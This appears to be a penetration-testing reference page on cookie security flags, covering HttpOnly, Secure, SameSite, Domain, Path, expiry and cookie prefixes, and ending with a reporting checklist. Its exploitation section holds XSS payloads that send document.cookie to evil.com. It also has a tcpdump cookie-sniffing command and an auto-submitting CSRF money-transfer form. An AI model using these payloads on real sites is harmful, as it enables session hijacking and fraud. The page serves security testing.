Skip to main content

Overview

Cookies carry session tokens, auth data, and preferences. Missing or misconfigured flags expose them to theft, fixation, and cross-site attacks.

Check Cookies

curl -s -i https://TARGET/login -d "user=admin&pass=test" | grep -i "set-cookie"

Browser DevTools

Application → Cookies → inspect flags per cookie.

HttpOnly

Set-Cookie: session=abc123; HttpOnly
StatusRisk
PresentCookie not accessible via document.cookie
MissingXSS can steal session: <script>fetch('https://evil.com/?c='+document.cookie)</script>

Secure

Set-Cookie: session=abc123; Secure
StatusRisk
PresentCookie only sent over HTTPS
MissingCookie sent over HTTP → MITM interception. Attacker on same network sniffs cookie in plaintext

SameSite

Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
ValueBehaviorCSRF Risk
StrictNever sent cross-siteProtected
LaxSent on top-level GET navigationsPartial — GET-based CSRF possible
NoneAlways sent (requires Secure)Vulnerable to CSRF
MissingBrowser default (Lax in modern browsers)Depends on browser

Domain

Set-Cookie: session=abc123; Domain=.target.com
ConfigScope
Domain=.target.comCookie shared with ALL subdomains
No Domain attributeCookie only for exact domain
Risk: Broad domain scope → XSS on any subdomain can steal cookie.

Path

Set-Cookie: admin=token; Path=/admin
ConfigScope
Path=/adminOnly sent for /admin/* requests
Path=/Sent for all paths
Risk: Path is NOT a security boundary — JavaScript from other paths can read it via iframe tricks.

Expires / Max-Age

Set-Cookie: session=abc123; Max-Age=3600
Set-Cookie: session=abc123; Expires=Thu, 01 Jan 2026 00:00:00 GMT
ConfigRisk
No expiry (session cookie)Deleted when browser closes
Long expiryStolen cookie valid for extended period
Very long (years)Persistent session even after password change

Vulnerability Matrix

Missing FlagAttack
No HttpOnlyXSS → document.cookie theft
No SecureMITM → sniff cookie over HTTP
SameSite=NoneCSRF attacks
Domain=.target.comSubdomain XSS → cookie theft
No expiry controlLong-lived stolen sessions
All flags missingAll of the above

Exploitation

<script>
fetch('https://evil.com/steal?c=' + document.cookie);
</script>

<script>
new Image().src = 'https://evil.com/steal?c=' + document.cookie;
</script>

<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">
# MITM on network
# Cookie sent in plaintext over HTTP
tcpdump -i eth0 -A -s 0 'tcp port 80' | grep -i "cookie"

CSRF (SameSite=None)

<form action="https://TARGET/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
If Domain=.target.com and XSS on blog.target.com:
<!-- On blog.target.com -->
<script>
fetch('https://evil.com/steal?c=' + document.cookie);
// Receives cookies scoped to .target.com
</script>

Session Fixation

If application accepts session ID from URL or doesn’t regenerate after login:
https://TARGET/login?session=ATTACKER_KNOWN_SESSION
Victim logs in → attacker uses known session ID.

Prevention Check

  1. Login with session X
  2. After login, check if session ID changed
  3. If same → session fixation vulnerable

Modern browsers support special prefixes:
PrefixRequirements
__Secure-Must have Secure flag, sent over HTTPS
__Host-Must have Secure, no Domain, Path=/
Set-Cookie: __Host-session=abc123; Secure; Path=/
__Host- prevents subdomain and path scoping attacks.

Reporting Checklist

CheckFinding
HttpOnly missing on session cookieSession hijacking via XSS
Secure flag missingCookie exposure over HTTP
SameSite=None or missingCSRF vulnerability
Broad Domain scopeSubdomain attack surface
No session regeneration after loginSession fixation
Long/no expirationPersistent stolen sessions
Cookie prefixes not usedMissing defense-in-depth

Quick Reference

FlagSecure ValueRisk Without
HttpOnlyPresentXSS cookie theft
SecurePresentMITM sniffing
SameSiteStrict or LaxCSRF
DomainOmit or exactSubdomain attacks
Path/ (not security boundary)N/A
ExpiryShort / sessionPersistent compromise

Sources